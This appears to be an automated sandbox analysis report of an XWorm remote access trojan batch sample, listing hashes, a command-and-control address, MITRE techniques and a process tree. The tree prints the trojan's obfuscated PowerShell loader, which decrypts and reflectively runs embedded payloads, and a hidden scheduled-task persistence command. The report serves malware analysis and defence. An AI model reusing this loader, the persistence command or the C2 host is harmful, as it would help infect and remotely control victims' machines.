xworm | 3a1da018b43f1dd10eb3675d7b636bd32cb0df9e652a14e243f88953f04c8e89

Analysis

max time kernel
1200s
max time network
1167s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
10/06/2024, 14:02

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General

Target
xMultiPower.bat
Size 390KB
Sample240610-rcdtxsybrf
SHA256 3a1da018b43f1dd10eb3675d7b636bd32cb0df9e652a14e243f88953f04c8e89
MD5 1ea03fad3259b7e127f5e05879db00a9
SHA1 5a0a28fa51768019339626fc0d10777e0860c4cb
SHA512 c0c58b8bf5711a59bcb8bc34ee328b217f958f77307650ec3084d3c170fb1e7aab42cd4a6e996e53261a630d79ffb5e354ca6f109764e5a6ff805ea1e0a78777
SSDEEP 12288:V38H8KRbEwtap0NezWGuTvLj4nr6wKtLBir0em:V3o1RGuj4rbs
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

done-declared.gl.at.ply.gg:43143

Attributes

install_file
USB.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/5024-60-0x000001EDDD6A0000-0x000001EDDD6B4000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4700	powershell.exe
5024	powershell.exe
2456	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\G:	svchost.exe
File opened (read-only)	\??\H:	svchost.exe
File opened (read-only)	\??\I:	svchost.exe
File opened (read-only)	\??\J:	svchost.exe
File opened (read-only)	\??\N:	svchost.exe
File opened (read-only)	\??\L:	svchost.exe
File opened (read-only)	\??\V:	svchost.exe
File opened (read-only)	\??\Z:	svchost.exe
File opened (read-only)	\??\A:	svchost.exe
File opened (read-only)	\??\B:	svchost.exe
File opened (read-only)	\??\Q:	svchost.exe
File opened (read-only)	\??\R:	svchost.exe
File opened (read-only)	\??\T:	svchost.exe
File opened (read-only)	\??\U:	svchost.exe
File opened (read-only)	\??\W:	svchost.exe
File opened (read-only)	\??\Y:	svchost.exe
File opened (read-only)	\??\E:	svchost.exe
File opened (read-only)	\??\K:	svchost.exe
File opened (read-only)	\??\M:	svchost.exe
File opened (read-only)	\??\O:	svchost.exe
File opened (read-only)	\??\P:	svchost.exe
File opened (read-only)	\??\S:	svchost.exe
File opened (read-only)	\??\X:	svchost.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan	svchost.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d2-ad-4e-75-6f-6f	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d2-ad-4e-75-6f-6f\WpadDecision = "0"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d2-ad-4e-75-6f-6f\WpadDecisionTime = cc9a825940bbda01	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018C00DDF3C5ECE"	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d2-ad-4e-75-6f-6f\WpadDecisionTime = cd96d7a841bbda01	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d2-ad-4e-75-6f-6f\WpadDecisionReason = "1"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d2-ad-4e-75-6f-6f\WpadDecisionTime = b95f58f03fbbda01	svchost.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2804150937-2146708401-419095071-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2456	powershell.exe
2456	powershell.exe
4700	powershell.exe
4700	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe
5024	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2456	powershell.exe
Token: SeDebugPrivilege	4700	powershell.exe
Token: SeIncreaseQuotaPrivilege	4700	powershell.exe
Token: SeSecurityPrivilege	4700	powershell.exe
Token: SeTakeOwnershipPrivilege	4700	powershell.exe
Token: SeLoadDriverPrivilege	4700	powershell.exe
Token: SeSystemProfilePrivilege	4700	powershell.exe
Token: SeSystemtimePrivilege	4700	powershell.exe
Token: SeProfSingleProcessPrivilege	4700	powershell.exe
Token: SeIncBasePriorityPrivilege	4700	powershell.exe
Token: SeCreatePagefilePrivilege	4700	powershell.exe
Token: SeBackupPrivilege	4700	powershell.exe
Token: SeRestorePrivilege	4700	powershell.exe
Token: SeShutdownPrivilege	4700	powershell.exe
Token: SeDebugPrivilege	4700	powershell.exe
Token: SeSystemEnvironmentPrivilege	4700	powershell.exe
Token: SeRemoteShutdownPrivilege	4700	powershell.exe
Token: SeUndockPrivilege	4700	powershell.exe
Token: SeManageVolumePrivilege	4700	powershell.exe
Token: 33	4700	powershell.exe
Token: 34	4700	powershell.exe
Token: 35	4700	powershell.exe
Token: 36	4700	powershell.exe
Token: SeIncreaseQuotaPrivilege	4700	powershell.exe
Token: SeSecurityPrivilege	4700	powershell.exe
Token: SeTakeOwnershipPrivilege	4700	powershell.exe
Token: SeLoadDriverPrivilege	4700	powershell.exe
Token: SeSystemProfilePrivilege	4700	powershell.exe
Token: SeSystemtimePrivilege	4700	powershell.exe
Token: SeProfSingleProcessPrivilege	4700	powershell.exe
Token: SeIncBasePriorityPrivilege	4700	powershell.exe
Token: SeCreatePagefilePrivilege	4700	powershell.exe
Token: SeBackupPrivilege	4700	powershell.exe
Token: SeRestorePrivilege	4700	powershell.exe
Token: SeShutdownPrivilege	4700	powershell.exe
Token: SeDebugPrivilege	4700	powershell.exe
Token: SeSystemEnvironmentPrivilege	4700	powershell.exe
Token: SeRemoteShutdownPrivilege	4700	powershell.exe
Token: SeUndockPrivilege	4700	powershell.exe
Token: SeManageVolumePrivilege	4700	powershell.exe
Token: 33	4700	powershell.exe
Token: 34	4700	powershell.exe
Token: 35	4700	powershell.exe
Token: 36	4700	powershell.exe
Token: SeIncreaseQuotaPrivilege	4700	powershell.exe
Token: SeSecurityPrivilege	4700	powershell.exe
Token: SeTakeOwnershipPrivilege	4700	powershell.exe
Token: SeLoadDriverPrivilege	4700	powershell.exe
Token: SeSystemProfilePrivilege	4700	powershell.exe
Token: SeSystemtimePrivilege	4700	powershell.exe
Token: SeProfSingleProcessPrivilege	4700	powershell.exe
Token: SeIncBasePriorityPrivilege	4700	powershell.exe
Token: SeCreatePagefilePrivilege	4700	powershell.exe
Token: SeBackupPrivilege	4700	powershell.exe
Token: SeRestorePrivilege	4700	powershell.exe
Token: SeShutdownPrivilege	4700	powershell.exe
Token: SeDebugPrivilege	4700	powershell.exe
Token: SeSystemEnvironmentPrivilege	4700	powershell.exe
Token: SeRemoteShutdownPrivilege	4700	powershell.exe
Token: SeUndockPrivilege	4700	powershell.exe
Token: SeManageVolumePrivilege	4700	powershell.exe
Token: 33	4700	powershell.exe
Token: 34	4700	powershell.exe
Token: 35	4700	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
3464	Explorer.EXE
3464	Explorer.EXE
3464	Explorer.EXE

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
3464	Explorer.EXE
3464	Explorer.EXE
3464	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2976 wrote to memory of 1008	2976	cmd.exe	82
PID 2976 wrote to memory of 1008	2976	cmd.exe	82
PID 2976 wrote to memory of 2456	2976	cmd.exe	83
PID 2976 wrote to memory of 2456	2976	cmd.exe	83
PID 2456 wrote to memory of 4700	2456	powershell.exe	84
PID 2456 wrote to memory of 4700	2456	powershell.exe	84
PID 2456 wrote to memory of 2392	2456	powershell.exe	87
PID 2456 wrote to memory of 2392	2456	powershell.exe	87
PID 2392 wrote to memory of 3260	2392	WScript.exe	88
PID 2392 wrote to memory of 3260	2392	WScript.exe	88
PID 3260 wrote to memory of 2176	3260	cmd.exe	90
PID 3260 wrote to memory of 2176	3260	cmd.exe	90
PID 3260 wrote to memory of 5024	3260	cmd.exe	91
PID 3260 wrote to memory of 5024	3260	cmd.exe	91
PID 5024 wrote to memory of 3464	5024	powershell.exe	56
PID 5024 wrote to memory of 2560	5024	powershell.exe	43
PID 5024 wrote to memory of 1180	5024	powershell.exe	20
PID 5024 wrote to memory of 1376	5024	powershell.exe	23
PID 5024 wrote to memory of 2360	5024	powershell.exe	41
PID 5024 wrote to memory of 1964	5024	powershell.exe	37
PID 5024 wrote to memory of 4524	5024	powershell.exe	64
PID 5024 wrote to memory of 1960	5024	powershell.exe	69
PID 5024 wrote to memory of 2552	5024	powershell.exe	42
PID 5024 wrote to memory of 2892	5024	powershell.exe	51
PID 5024 wrote to memory of 1760	5024	powershell.exe	30
PID 5024 wrote to memory of 1556	5024	powershell.exe	27
PID 5024 wrote to memory of 964	5024	powershell.exe	12
PID 5024 wrote to memory of 1160	5024	powershell.exe	19
PID 5024 wrote to memory of 1548	5024	powershell.exe	26
PID 5024 wrote to memory of 1004	5024	powershell.exe	68
PID 5024 wrote to memory of 1536	5024	powershell.exe	36
PID 5024 wrote to memory of 1720	5024	powershell.exe	29
PID 5024 wrote to memory of 1128	5024	powershell.exe	18
PID 5024 wrote to memory of 2696	5024	powershell.exe	45
PID 5024 wrote to memory of 1116	5024	powershell.exe	17
PID 5024 wrote to memory of 516	5024	powershell.exe	14
PID 5024 wrote to memory of 908	5024	powershell.exe	11
PID 5024 wrote to memory of 1292	5024	powershell.exe	22
PID 5024 wrote to memory of 1088	5024	powershell.exe	16
PID 5024 wrote to memory of 1868	5024	powershell.exe	32
PID 5024 wrote to memory of 1276	5024	powershell.exe	21
PID 5024 wrote to memory of 1472	5024	powershell.exe	25
PID 5024 wrote to memory of 2648	5024	powershell.exe	54
PID 5024 wrote to memory of 2040	5024	powershell.exe	34
PID 5024 wrote to memory of 2228	5024	powershell.exe	40
PID 5024 wrote to memory of 2620	5024	powershell.exe	44
PID 5024 wrote to memory of 1036	5024	powershell.exe	35
PID 5024 wrote to memory of 1624	5024	powershell.exe	28
PID 5024 wrote to memory of 2752	5024	powershell.exe	47
PID 5024 wrote to memory of 1028	5024	powershell.exe	15
PID 5024 wrote to memory of 3536	5024	powershell.exe	72
PID 5024 wrote to memory of 3584	5024	powershell.exe	57
PID 5024 wrote to memory of 2196	5024	powershell.exe	39
PID 5024 wrote to memory of 4164	5024	powershell.exe	67
PID 5024 wrote to memory of 808	5024	powershell.exe	10
PID 5024 wrote to memory of 3368	5024	powershell.exe	55
PID 5024 wrote to memory of 1788	5024	powershell.exe	31
PID 5024 wrote to memory of 2768	5024	powershell.exe	48
PID 5024 wrote to memory of 1384	5024	powershell.exe	24
PID 5024 wrote to memory of 1972	5024	powershell.exe	33
PID 5024 wrote to memory of 4500	5024	powershell.exe	95
PID 808 wrote to memory of 2860	808	svchost.exe	98
PID 808 wrote to memory of 2860	808	svchost.exe	98
PID 5024 wrote to memory of 1796	5024	powershell.exe	97

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
- Suspicious use of WriteProcessMemory
PID:808
- C:\Windows\System32\mousocoreworker.exe
  C:\Windows\System32\mousocoreworker.exe -Embedding
  2⤵
  PID:2860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:516

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1028

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1180

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1548

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1556

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1624

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1760

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1788

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1868

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2040

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:1536

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2196

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2228

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2620

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3368

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\xMultiPower.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NZA7uStBimzhU2pjm6inNDqFkCs0FhB+CeLL79sWRI4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6OswDjQA8VBkciMxnDy1mg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $pIVYA=New-Object System.IO.MemoryStream(,$param_var); $kljBV=New-Object System.IO.MemoryStream; $Cddeu=New-Object System.IO.Compression.GZipStream($pIVYA, [IO.Compression.CompressionMode]::Decompress); $Cddeu.CopyTo($kljBV); $Cddeu.Dispose(); $pIVYA.Dispose(); $kljBV.Dispose(); $kljBV.ToArray();}function execute_function($param_var,$param2_var){ $uzlSo=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uoqGL=$uzlSo.EntryPoint; $uoqGL.Invoke($null, $param2_var);}$swHsV = 'C:\Users\Admin\AppData\Local\Temp\xMultiPower.bat';$host.UI.RawUI.WindowTitle = $swHsV;$PZzIj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($swHsV).Split([Environment]::NewLine);foreach ($hSmwK in $PZzIj) { if ($hSmwK.StartsWith('SnmHeIeicRORhReMwpKo')) { $LpkSF=$hSmwK.Substring(20); break; }}$payloads_var=[string[]]$LpkSF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:1008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2456
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_391_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_391.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4700
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_391.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:2392
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_391.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3260
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NZA7uStBimzhU2pjm6inNDqFkCs0FhB+CeLL79sWRI4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6OswDjQA8VBkciMxnDy1mg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $pIVYA=New-Object System.IO.MemoryStream(,$param_var); $kljBV=New-Object System.IO.MemoryStream; $Cddeu=New-Object System.IO.Compression.GZipStream($pIVYA, [IO.Compression.CompressionMode]::Decompress); $Cddeu.CopyTo($kljBV); $Cddeu.Dispose(); $pIVYA.Dispose(); $kljBV.Dispose(); $kljBV.ToArray();}function execute_function($param_var,$param2_var){ $uzlSo=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uoqGL=$uzlSo.EntryPoint; $uoqGL.Invoke($null, $param2_var);}$swHsV = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_391.bat';$host.UI.RawUI.WindowTitle = $swHsV;$PZzIj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($swHsV).Split([Environment]::NewLine);foreach ($hSmwK in $PZzIj) { if ($hSmwK.StartsWith('SnmHeIeicRORhReMwpKo')) { $LpkSF=$hSmwK.Substring(20); break; }}$payloads_var=[string[]]$LpkSF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:2176
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:5024

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:4524

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:1960

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:4500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:1796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 0d5f1ae97485509a131a9309ec9c44c6bd5c10e2966e2c948ea1778066ae6451
MD5 1fd006c84f5fc8c50b6e84d0b2180b2d
SHA1 fb01ebbb81a64e2bf064b46f3a4f126031a7118f
SHA512 cc2ad87258c5a9f0182c6b6ddc0308b0fc99b9a8836a484f05d27340950a6f75b2c412727e51c187716aa7c2ac216dd9d05df7fb3512eeba2a4d68f0acb9b4a0
MD5 SHA1 SHA512

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StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 2KB
SHA256 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
MD5 005bc2ef5a9d890fb2297be6a36f01c2
SHA1 0c52adee1316c54b0bfdc510c0963196e7ebb430
SHA512 f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22
MD5 SHA1 SHA512

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__PSScriptPolicyTest_0r0wj1ot.oer.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0r0wj1ot.oer.ps1
Size 60B
